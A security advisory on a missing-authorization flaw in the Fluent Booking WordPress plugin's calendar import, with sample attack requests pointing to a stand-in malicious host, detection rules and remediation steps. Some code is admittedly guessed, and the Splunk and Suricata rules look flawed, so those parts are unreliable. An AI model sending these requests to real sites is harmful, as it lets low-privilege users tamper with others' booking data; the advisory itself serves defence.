CVE-2025-13756

Executive Summary

CVE-2025-13756 is a Missing Authorization vulnerability in the Fluent Booking WordPress plugin (versions up to and including 1.9.11). The flaw resides in the importCalendar function, which lacks a proper capability check. This allows authenticated attackers with subscriber-level access or higher to import arbitrary calendars and manage them without authorization. The vulnerability has a CVSS score of 4.3 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code has been identified.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Fluent Booking plugin is designed for appointment and booking management. The missing capability check in the importCalendar function exposes calendar data to unauthorized manipulation, potentially leading to data integrity issues and service disruption.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to integrity (unauthorized calendar import/management), the low privileges required and network accessibility make it a viable target for authenticated attackers.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) issue. The importCalendar function in the Fluent Booking plugin is intended to allow administrators to import external calendars (e.g., iCal feeds) into the system. However, the function does not verify that the current user has the necessary capabilities (e.g., manage_options or edit_posts). As a result, any authenticated user, including subscribers, can call this function via AJAX or REST API endpoints.

Attack Flow:

1. An attacker authenticates with subscriber-level credentials.
2. The attacker crafts a request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=fluent_booking_import_calendar).
3. The request includes parameters for the calendar source (URL or file).
4. The plugin processes the import without checking user permissions.
5. The attacker can import arbitrary calendars, potentially overwriting existing data or adding malicious entries.

Impact:

• Unauthorized calendar import could lead to data integrity issues (e.g., fake appointments, altered schedules).
• Management of imported calendars could allow attackers to delete or modify legitimate calendar data.
• In a worst-case scenario, this could be chained with other vulnerabilities for privilege escalation or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.9.11):

// In class-fluent-booking-ajax.php or similar
public function importCalendar() {
    // No capability check
    $calendar_url = $_POST['calendar_url'];
    // Process import...
    $this->processImport($calendar_url);
}

Patched Code (Hypothetical):

public function importCalendar() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $calendar_url = sanitize_text_field($_POST['calendar_url']);
    // Process import...
    $this->processImport($calendar_url);
}

Key Difference: The patched version adds a current_user_can('manage_options') check to restrict the function to administrators only.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with Fluent Booking plugin <= 1.9.11
• Valid subscriber-level credentials (e.g., username: attacker, password: password123)

Exploitation Steps:

1. Log in as subscriber.
2. Craft a POST request to the AJAX endpoint:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_xxx=attacker_session

action=fluent_booking_import_calendar&calendar_url=https://malicious-server.com/evil.ics

3. The plugin imports the calendar from the attacker-controlled URL.
4. Verify by checking the calendar management interface.

Alternative via REST API:

POST /wp-json/fluent-booking/v1/import-calendar HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/json
Authorization: Bearer <subscriber_token>

{"calendar_url": "https://malicious-server.com/evil.ics"}

Blue Team (Defender)

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action fluent_booking_import_calendar from non-admin users.
2. Check for unusual calendar import activity in logs.
3. Review user role assignments for subscribers with unexpected capabilities.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=fluent_booking_import_calendar
| eval user_role=if(match(user_agent, "subscriber"), "subscriber", "unknown")
| where user_role="subscriber"
| table _time, src_ip, user, uri, status

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=fluent_booking_import_calendar from non-admin users.
  • POST requests to /wp-json/fluent-booking/v1/import-calendar with subscriber tokens.
• File System:
  • Unexpected .ics files in the WordPress uploads directory.
  • Modified database entries in wp_fluent_booking_calendars table.
• Logs:
  • WordPress debug log entries showing importCalendar calls from subscriber roles.
  • Web server logs with 200 responses to the vulnerable endpoint from low-privilege users.

Detection Engineering

YARA Rule

rule Detect_Fluent_Booking_Import_Calendar_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-13756 in Fluent Booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13756"
    strings:
        $ajax_action = "fluent_booking_import_calendar"
        $rest_route = "fluent-booking/v1/import-calendar"
        $ics_url = /https?:\/\/[^\s]+\.ics/
    condition:
        any of ($ajax_action, $rest_route) and $ics_url
}

Sigma Rule

title: Fluent Booking Calendar Import Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized calendar import attempts via Fluent Booking plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=fluent_booking_import_calendar'
            - 'fluent-booking/v1/import-calendar'
    condition: selection
falsepositives:
    - Legitimate admin calendar imports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13756 - Fluent Booking Calendar Import Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=fluent_booking_import_calendar"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: If a patched version becomes available, update Fluent Booking to the latest version immediately.
2. Disable Plugin: If no patch is available, consider disabling the plugin until a fix is released.
3. Restrict User Roles: Remove subscriber-level access from untrusted users. Use a plugin like "User Role Editor" to limit capabilities.

Long-term Mitigations:

1. Web Application Firewall (WAF): Deploy rules to block requests to the vulnerable endpoint from non-admin users.
2. Code Review: Implement capability checks in all AJAX and REST API handlers.
3. Monitoring: Enable logging for all plugin AJAX actions and monitor for suspicious activity.

Workaround:

• Add a custom capability check via a WordPress filter:

add_action('wp_ajax_fluent_booking_import_calendar', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}, 1);

Valters IT
Securing Digital Frontiers